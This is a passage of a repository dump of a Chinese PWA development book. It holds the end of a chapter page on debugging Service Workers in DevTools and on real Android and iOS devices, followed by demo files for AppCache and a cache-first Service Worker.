ServiceWorker</code></li>\n<li>Service Worker &#x53D1;&#x51FA;&#x7684;&#x8BF7;&#x6C42;&#x4F1A;&#x5728; Name &#x5B57;&#x6BB5;&#x4E2D;&#x6DFB;&#x52A0; &#x2699;  &#x56FE;&#x6807;&#x3002;</li>\n</ul>\n<p>&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF0C;&#x7B2C;&#x4E00;&#x4E2A;&#x540D;&#x4E3A; <code>300</code> &#x7684;&#x8BF7;&#x6C42;&#x662F;&#x4E00;&#x5F20; jpeg &#x56FE;&#x7247;&#xFF0C; &#x5176; URL &#x4E3A; <code>https://unsplash.it/200/300</code>&#xFF0C;&#x8BE5;&#x8BF7;&#x6C42;&#x662F;&#x7531; Service Worker &#x4EE3;&#x7406;&#x7684;&#xFF0C; &#x56E0;&#x6B64;&#x88AB;&#x6807;&#x6CE8;&#x4E3A; <code>from ServiceWorker</code>&#x3002;</p>\n<p>&#x4E3A;&#x4E86;&#x54CD;&#x5E94;&#x9875;&#x9762;&#x8BF7;&#x6C42;&#xFF0C;Service Worker &#x4E5F;&#x53D1;&#x51FA;&#x4E86;&#x540D;&#x4E3A; <code>300</code> &#x7684;&#x8BF7;&#x6C42;&#xFF08;&#x8FD9;&#x662F;&#x4E0B;&#x56FE;&#x4E2D;&#x7B2C;&#x4E8C;&#x4E2A;&#x8BF7;&#x6C42;&#xFF09;&#xFF0C;&#x4F46; Service Worker &#x628A; URL &#x6539;&#x6210;&#x4E86; <code>https://unsplash.it/g/200/300</code>&#xFF0C;&#x56E0;&#x6B64;&#x8FD4;&#x56DE;&#x7ED9;&#x9875;&#x9762;&#x7684;&#x56FE;&#x7247;&#x662F;&#x7070;&#x8272;&#x7684;&#x3002;</p>\n<p><img src=\"img/service_worker_network.png\" alt=\"Service Worker &#x7F51;&#x7EDC;&#x8DDF;&#x8E2A;&#x60C5;&#x51B5;\"></p>\n<h2 id=\"&#x771F;&#x673A;&#x8C03;&#x8BD5;\"><a name=\"&#x771F;&#x673A;&#x8C03;&#x8BD5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x771F;&#x673A;&#x8C03;&#x8BD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x771F;&#x673A;&#x8C03;&#x8BD5;\" class=\"plugin-anchor\" href=\"#&#x771F;&#x673A;&#x8C03;&#x8BD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x771F;&#x673A;&#x8C03;&#x8BD5;</h2>\n<p>&#x7531;&#x4E8E; Service Worker &#x5FC5;&#x987B;&#x8981;&#x5728; HTTPS &#x73AF;&#x5883;&#x4E0B;&#x624D;&#x80FD;&#x88AB;&#x6CE8;&#x518C;&#x6210;&#x529F;&#xFF0C;&#x6240;&#x4EE5;&#x5728;&#x771F;&#x673A;&#x8C03;&#x8BD5;&#x7684;&#x8FC7;&#x7A0B;&#x4E2D;&#x8FD8;&#x9700;&#x8981;&#x89E3;&#x51B3; HTTPS &#x8C03;&#x8BD5;&#x95EE;&#x9898;&#xFF0C;&#x5F53;&#x7136; <code>127.0.0.1</code> &#x548C; <code>localhost</code> &#x662F;&#x88AB;&#x5141;&#x8BB8;&#x7684; host&#xFF0C;&#x4F46;&#x662F;&#x5728;&#x771F;&#x673A;&#x8C03;&#x8BD5;&#x4E0A;&#x65E0;&#x6CD5;&#x6307;&#x5B9A;&#x4E3A;&#x5230; PC &#x4E0A;&#x7684;&#x672C;&#x5730;&#x670D;&#x52A1;&#x5668;&#xFF0C;&#x6240;&#x4EE5;&#x771F;&#x673A; debug &#x5FC5;&#x987B;&#x8981;&#x6C42;&#x662F;&#x5DF2;&#x7ECF;&#x90E8;&#x7F72;&#x597D;&#x7684; https PWA &#x7AD9;&#x70B9;&#x3002;</p>\n<h3 id=\"android-inspect-&#x8FDC;&#x7A0B;&#x8C03;&#x8BD5;\"><a name=\"android-inspect-&#x8FDC;&#x7A0B;&#x8C03;&#x8BD5;\" class=\"anchor-navigation-ex-anchor\" href=\"#android-inspect-&#x8FDC;&#x7A0B;&#x8C03;&#x8BD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"android-inspect-&#x8FDC;&#x7A0B;&#x8C03;&#x8BD5;\" class=\"plugin-anchor\" href=\"#android-inspect-&#x8FDC;&#x7A0B;&#x8C03;&#x8BD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Android inspect &#x8FDC;&#x7A0B;&#x8C03;&#x8BD5;</h3>\n<p>&#x5BF9;&#x4E8E; Android &#x8BBE;&#x5907;&#xFF0C;&#x53EF;&#x4EE5;&#x501F;&#x52A9;&#x4E8E; Chrome &#x7684; inspect &#x65B9;&#x6CD5;&#x8FDB;&#x884C;&#x8C03;&#x8BD5; PWA&#xFF0C;&#x5176;&#x4E2D;&#x6709;&#x51E0;&#x4E2A;&#x4E8B;&#x9879;&#x662F;&#x9700;&#x8981;&#x63D0;&#x524D;&#x51C6;&#x5907;&#x7684;&#xFF1A;</p>\n<ul>\n<li>PC &#x4E0A;&#x5DF2;&#x5B89;&#x88C5; Chrome 32 &#x6216;&#x66F4;&#x9AD8;&#x7248;&#x672C;&#x3002;</li>\n<li>PC &#x4E0A;&#x5DF2;&#x5B89;&#x88C5; USB &#x9A71;&#x52A8;&#x7A0B;&#x5E8F;&#xFF08;&#x5982;&#x679C;&#x4F7F;&#x7528; Windows&#xFF09;&#xFF0C;&#x786E;&#x4FDD;&#x8BBE;&#x5907;&#x7BA1;&#x7406;&#x5668;&#x62A5;&#x544A;&#x6B63;&#x786E;&#x7684; USB &#x9A71;&#x52A8;&#x7A0B;&#x5E8F;&#x3002;</li>\n<li>&#x4E00;&#x6839;&#x53EF;&#x4EE5;&#x5C06; Android &#x8BBE;&#x5907;&#x8FDE;&#x63A5;&#x81F3;&#x5F00;&#x53D1;&#x8BA1;&#x7B97;&#x673A;&#x7684; USB &#x7EBF;&#x3002;</li>\n<li>&#x4E00;&#x53F0; Android 4.0 &#x6216;&#x66F4;&#x9AD8;&#x7248;&#x672C;&#x7684; Android &#x8BBE;&#x5907;&#x3002;</li>\n</ul>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x4EE5;&#x4E0B;&#x6B65;&#x9AA4;&#x8FDB;&#x884C;&#x8C03;&#x8BD5;&#xFF1A;</p>\n<ol>\n<li>&#x5C06; Android &#x8BBE;&#x5907;&#x901A;&#x8FC7; USB &#x7EBF;&#x4E0E; PC &#x8FDE;&#x63A5;&#x3002;</li>\n<li>&#x5728; Android &#x8BBE;&#x5907;&#x4E0A;&#x8FDB;&#x884C;&#x4E00;&#x4E9B;&#x8BBE;&#x7F6E;&#xFF0C;&#x9009;&#x62E9; <code>&#x8BBE;&#x7F6E; &gt; &#x5F00;&#x53D1;&#x8005;&#x9009;&#x9879; &gt; &#x5F00;&#x542F; USB &#x8C03;&#x8BD5;</code>&#x3002;</li>\n<li>&#x5728; PC &#x4E0A;&#x6253;&#x5F00; Chrome&#xFF0C;&#x4F7F;&#x7528;&#x4E00;&#x4E2A; Google &#x5E10;&#x6237;&#x767B;&#x5F55;&#x5230; Chrome&#x3002;&#xFF08;&#x8FDC;&#x7A0B;&#x8C03;&#x8BD5;&#x5728;&#x9690;&#x8EAB;&#x6A21;&#x5F0F;&#x6216;&#x8BBF;&#x5BA2;&#x6A21;&#x5F0F;&#x4E0B;&#x65E0;&#x6CD5;&#x8FD0;&#x884C;&#xFF09;&#x3002;</li>\n<li>&#x5728; PC &#x7684; Chrome &#x6D4F;&#x89C8;&#x5668;&#x5730;&#x5740;&#x680F;&#x8F93;&#x5165; <code>chrome://inspect</code>&#x3002;</li>\n<li>&#x5728; <code>Remote Target</code> &#x4E0B;&#x627E;&#x5230;&#x5BF9;&#x5E94;&#x7684; Android &#x8BBE;&#x5907;&#x3002;</li>\n<li>&#x70B9;&#x51FB;&#x8FDC;&#x7A0B;&#x8BBE;&#x5907;&#x94FE;&#x63A5;&#x8FDB;&#x5165; Chrome Devtools&#x3002;</li>\n</ol>\n<p>&#x8FD9;&#x6837;&#x7684;&#x8BDD;&#x5C31;&#x53EF;&#x4EE5;&#x5728; Chrome &#x7684; Devtools &#x76F4;&#x63A5;&#x8C03;&#x8BD5;&#x8FD0;&#x884C;&#x5728; Android &#x624B;&#x673A;&#x7AEF; Chrome &#x7684; PWA &#x7AD9;&#x70B9;&#xFF0C;&#x4F53;&#x9A8C;&#x5B8C;&#x5168;&#x548C;&#x5728;&#x672C;&#x5730; PC &#x7535;&#x8111;&#x4E0A; debug &#x4E00;&#x6478;&#x4E00;&#x6837;&#x3002;</p>\n<h3 id=\"ios-&#x8FDC;&#x7A0B;&#x771F;&#x673A;&#x8C03;&#x8BD5;\"><a name=\"ios-&#x8FDC;&#x7A0B;&#x771F;&#x673A;&#x8C03;&#x8BD5;\" class=\"anchor-navigation-ex-anchor\" href=\"#ios-&#x8FDC;&#x7A0B;&#x771F;&#x673A;&#x8C03;&#x8BD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"ios-&#x8FDC;&#x7A0B;&#x771F;&#x673A;&#x8C03;&#x8BD5;\" class=\"plugin-anchor\" href=\"#ios-&#x8FDC;&#x7A0B;&#x771F;&#x673A;&#x8C03;&#x8BD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>iOS &#x8FDC;&#x7A0B;&#x771F;&#x673A;&#x8C03;&#x8BD5;</h3>\n<p>&#x5BF9;&#x4E8E; iOS &#x8BBE;&#x5907;&#x8FD0;&#x884C;&#x7684; PWA&#xFF0C;&#x771F;&#x673A; debug &#x6709;&#x70B9;&#x9EBB;&#x70E6;&#xFF0C;&#x597D;&#x5728; Apple Safari &#x4E5F;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x5957;&#x8FDC;&#x7A0B;&#x8C03;&#x8BD5;&#x7684;&#x65B9;&#x6848;&#xFF0C;&#x53EF;&#x4EE5;&#x501F;&#x52A9;&#x4E8E; Web Inspector&#xFF08;web &#x68C0;&#x67E5;&#x5668;&#xFF09;&#x673A;&#x5236;&#x6765;&#x5B8C;&#x6210;&#x771F;&#x673A;&#x8C03;&#x8BD5;&#x3002;&#x5728;&#x5F00;&#x59CB;&#x8C03;&#x8BD5;&#x4E4B;&#x524D;&#x9700;&#x8981;&#x51C6;&#x5907;&#x4EE5;&#x4E0B;&#x5DE5;&#x5177;&#xFF1A;</p>\n<ul>\n<li>&#x4E00;&#x53F0; Mac &#x7535;&#x8111;&#x3002;</li>\n<li>&#x4E00;&#x4E2A; icloud &#x8D26;&#x53F7;&#x3002;</li>\n<li>&#x4E00;&#x4E2A; Apple &#x7684;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#xFF08;iPhone&#xFF09;&#x3002;</li>\n<li>&#x7528; iCloud &#x8D26;&#x53F7;&#x767B;&#x9646; Mac &#x548C; iPhone&#x3002;</li>\n<li>&#x5BF9; iPhone &#x8FDB;&#x884C;&#x8BBE;&#x7F6E;&#xFF1A;<code>&#x8BBE;&#x7F6E; &gt; Apple ID &#x7528;&#x6237;&#x4E2D;&#x5FC3;&#x5165;&#x53E3; &gt; iCloud &gt; &#x6253;&#x5F00; Safari</code>&#x3002;</li>\n<li>&#x5BF9; iPhone &#x8FDB;&#x884C;&#x8BBE;&#x7F6E;&#xFF1A;<code>&#x8BBE;&#x7F6E; &gt; Safari&#x6D4F;&#x89C8;&#x5668; &gt; &#x9AD8;&#x7EA7; &gt; &#x6253;&#x5F00; Web Inspector</code>&#x3002;</li>\n<li>&#x5BF9; Mac &#x8FDB;&#x884C;&#x8BBE;&#x7F6E;&#xFF1A;<code>&#xF8FF; &gt; &#x7CFB;&#x7EDF;&#x504F;&#x597D;&#x8BBE;&#x7F6E; &gt; iCloud &gt; &#x52FE;&#x4E0A; Safari</code>&#x3002;</li>\n<li>&#x5BF9; Mac &#x8FDB;&#x884C;&#x8BBE;&#x7F6E;&#xFF1A;<code>&#x6253;&#x5F00; Safari &gt; Safari &#x83DC;&#x5355; &gt; &#x504F;&#x597D;&#x8BBE;&#x7F6E; &gt; &#x9AD8;&#x7EA7; &gt; &#x52FE;&#x9009;&#x201C;&#x5728;&#x83DC;&#x5355;&#x680F;&#x4E2D;&#x663E;&#x793A;&#x5F00;&#x53D1;&#x83DC;&#x5355;&#x201D;</code>&#xFF08;&#x8FD9;&#x65F6;&#x5019; Safari &#x7684;&#x7CFB;&#x7EDF;&#x83DC;&#x5355;&#x680F;&#x591A;&#x4E86;&#x4E00;&#x4E2A; <code>&#x5F00;&#x53D1;</code> &#x6807;&#x7B7E;&#xFF09;&#x3002;</li>\n</ul>\n<p>&#x5F53;&#x5B8C;&#x6210;&#x4E86;&#x51C6;&#x5907;&#x5DE5;&#x4F5C;&#x540E;&#xFF0C;&#x4E0B;&#x9762;&#x53EF;&#x4EE5;&#x5F00;&#x59CB;&#x8C03;&#x8BD5;&#x4E86;&#xFF0C;&#x8C03;&#x8BD5;&#x6B65;&#x9AA4;&#x5982;&#x4E0B;&#xFF1A;</p>\n<ol>\n<li>&#x7528; USB &#x7EBF;&#x8FDE;&#x63A5; iPhone &#x548C; Mac&#x3002;</li>\n<li>&#x5728; iPhone &#x4E0A;&#x6253;&#x5F00; PWA &#x7AD9;&#x70B9;&#x3002;</li>\n<li>&#x6253;&#x5F00; Mac &#x4E0A; Safari &#x83DC;&#x5355;&#x680F;&#x7684; <code>&#x5F00;&#x53D1;</code> &#x6807;&#x7B7E;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x70B9;&#x51FB;&#x8FDB; <code>&#x6211;&#x7684; iPhone</code>&#x3002;</li>\n<li>&#x63A5;&#x4E0B;&#x6765;&#x4F1A;&#x53D1;&#x73B0; <code>&#x6211;&#x7684; iPhone</code> &#x5B50;&#x83DC;&#x5355;&#x91CC;&#x6709;&#x5728; iphone &#x4E0A;&#x6253;&#x5F00;&#x7684; PWA &#x7AD9;&#x70B9;&#xFF0C;&#x8FD9;&#x65F6;&#x5019;&#x5C31;&#x53EF;&#x4EE5;&#x7528; Safari &#x7684; Devtools &#x8FDB;&#x884C;&#x8C03;&#x8BD5;&#x3002;</li>\n</ol>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"3-service-worker-dive.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 4.3 Service Worker 工作原理\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"../chapter05.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 第5章 离线与缓存\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"4.4 Service Worker 调试\",\"level\":\"1.5.4\",\"depth\":2,\"next\":{\"title\":\"第5章 离线与缓存\",\"level\":\"1.6\",\"depth\":1,\"path\":\"chapter05.md\",\"ref\":\"chapter05.md\",\"articles\":[{\"title\":\"5.1 资源请求的拦截代理\",\"level\":\"1.6.1\",\"depth\":2,\"path\":\"chapter05/1-fetch-event-management.md\",\"ref\":\"chapter05/1-fetch-event-management.md\",\"articles\":[]},{\"title\":\"5.2 本地存储管理\",\"level\":\"1.6.2\",\"depth\":2,\"path\":\"chapter05/2-local-storage-management.md\",\"ref\":\"chapter05/2-local-storage-management.md\",\"articles\":[]},{\"title\":\"5.3 资源请求响应策略\",\"level\":\"1.6.3\",\"depth\":2,\"path\":\"chapter05/3-respond-strategy.md\",\"ref\":\"chapter05/3-respond-strategy.md\",\"articles\":[]},{\"title\":\"5.4 预缓存方案\",\"level\":\"1.6.4\",\"depth\":2,\"path\":\"chapter05/4-precache.md\",\"ref\":\"chapter05/4-precache.md\",\"articles\":[]},{\"title\":\"5.5 使用 Workbox\",\"level\":\"1.6.5\",\"depth\":2,\"path\":\"chapter05/5-workbox.md\",\"ref\":\"chapter05/5-workbox.md\",\"articles\":[]}]},\"previous\":{\"title\":\"4.3 Service Worker 工作原理\",\"level\":\"1.5.3\",\"depth\":2,\"path\":\"chapter04/3-service-worker-dive.md\",\"ref\":\"chapter04/3-service-worker-dive.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter04/4-service-worker-debug.md\",\"mtime\":\"2019-06-19T10:37:42.145Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter04/code/applicationCacheDemo/index.html",
    "content": "<!DOCTYPE html>\n<html manifest=\"./manifest.appcache\">\n<!--...-->\n</html>\n"
  },
  {
    "path": "docs/chapter04/code/applicationCacheDemo/manifest.appcache",
    "content": "CACHE MANIFEST\n# version xx.xx.xx\nCACHE:\ncached.png\ncached.js\n\nNETWORK:\nnoCached.html\nnoCached.css\n\nFALLBACK:\n/ 404.html\n"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerCacheDemo/data.json",
    "content": "[\n  {\n    \"name\": \"Tom\",\n    \"age\": 34,\n    \"lang\": \"english\"\n  },\n  {\n    \"name\": \"Lee\",\n    \"age\": 23,\n    \"lang\": \"chinese\"\n  }\n]"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerCacheDemo/index.css",
    "content": "html {\n    background: #000;\n    color: #fff;\n}"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerCacheDemo/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Cache Demo</title>\n    <link href=\"./index.css\" rel=\"stylesheet\" />\n  </head>\n  <body>\n    <img src=\"./imgs/dog.jpg\" alt=\"demo image\" />\n    <div id=\"demo-list\"></div>\n    <script src=\"./index.js\" type=\"text/javascript\"></script>\n    <script>\n      if ('serviceWorker' in navigator) {\n        // 由于 127.0.0.1:8000 是所有测试 Demo 的 host\n        // 为了防止作用域污染，将安装前注销所有已生效的 Service Worker\n        navigator.serviceWorker.getRegistrations()\n          .then(regs => {\n            for (let reg of regs) {\n              reg.unregister()\n            }\n            navigator.serviceWorker.register('./sw.js')\n          })\n      }\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerCacheDemo/index.js",
    "content": "/**\n * @file index.js\n * @author pwa\n */\n\n/* global fetch, alert */\n\nfetch('./data.json')\n  .then(response => response.json())\n  .then(data => {\n    // 将请求返回的数据打印出来\n    let html = ['<table>']\n    html.push('<tr><th>姓名</th><th>年龄</th><th>母语</th></tr>')\n    data && data.length && data.forEach(item => {\n      html.push('<tr>')\n      html.push(`<td>${item.name}</td>`)\n      html.push(`<td>${item.age}</td>`)\n      html.push(`<td>${item.lang}</td>`)\n      html.push('</tr>')\n    })\n    html.push('</table>')\n    document.getElementById('demo-list').innerHTML = html.join('')\n  })\n\nnavigator.serviceWorker.addEventListener('message', e => {\n  if (e.data === 'sw.update') {\n    alert('站点已更新，请刷新页面')\n    // 如果代码走到了在这里，就知道了，Service Worker 已经更新完成了\n    // 可以做点什么事情让用户体验更好\n  }\n})\n"
  },
  {
    "path": "docs/chapter04/code/serviceWorkerCacheDemo/sw.js",
    "content": "/**\n * @file sw.js\n * @author pwa\n */\n\n/* global self, caches, fetch */\n\nself.addEventListener('install', event => {\n  self.skipWaiting()\n  event.waitUntil(\n    caches.open('service-worker-cahce-demo')\n      .then(cache => {\n        // 在安装的时候将页面的静态资源都加入到缓存\n        return cache.addAll([\n          '/',\n          '/index.html',\n          '/index.js',\n          '/index.css',\n          '/imgs/dog.jpg'\n        ])\n      })\n  )\n})\n\nself.addEventListener('fetch', event => {\n  event.respondWith(\n    // 当匹配到缓存中存在的静态资源请求，就优先从缓存中取\n    caches.match(event.request).then(response => {\n      // 如果命中了缓存，就直接返回缓存的内容\n      if (response) {\n        return response\n      }\n      // 如果没命中缓存，还是继续走网络请求\n      // 在这个过程中，将网络请求写入缓存\n      let fetchRequest = event.request.clone()\n\n      return fetch(fetchRequest).then(response => {\n        // 检查是不是一个正常的 response 返回\n        if (!response ||\n          response.status !== 200 ||\n          response.type !== 'basic'\n        ) {\n          return response\n        }\n\n        // 将动态的网络请求写入缓存\n        let responseToCache = response.clone()\n        caches.open('service-worker-cahce-demo')\n          .then(cache => {\n            cache.put(event.request, responseToCache)\n          })\n\n        return response\n      })\n    })\n  )\n})\n\nself.addEventListener('activate', event => {\n  event.waitUntil(\n    Promise.all([\n      self.clients.claim(),\n      self.clients.matchAll().then(clients => {\n        clients && clients.length && clients.forEach(client => {\n          // 给每个终端都发送 postMessage\n          client.postMessage('sw.update')\n        })\n      })\n      // 如果 Service Worker 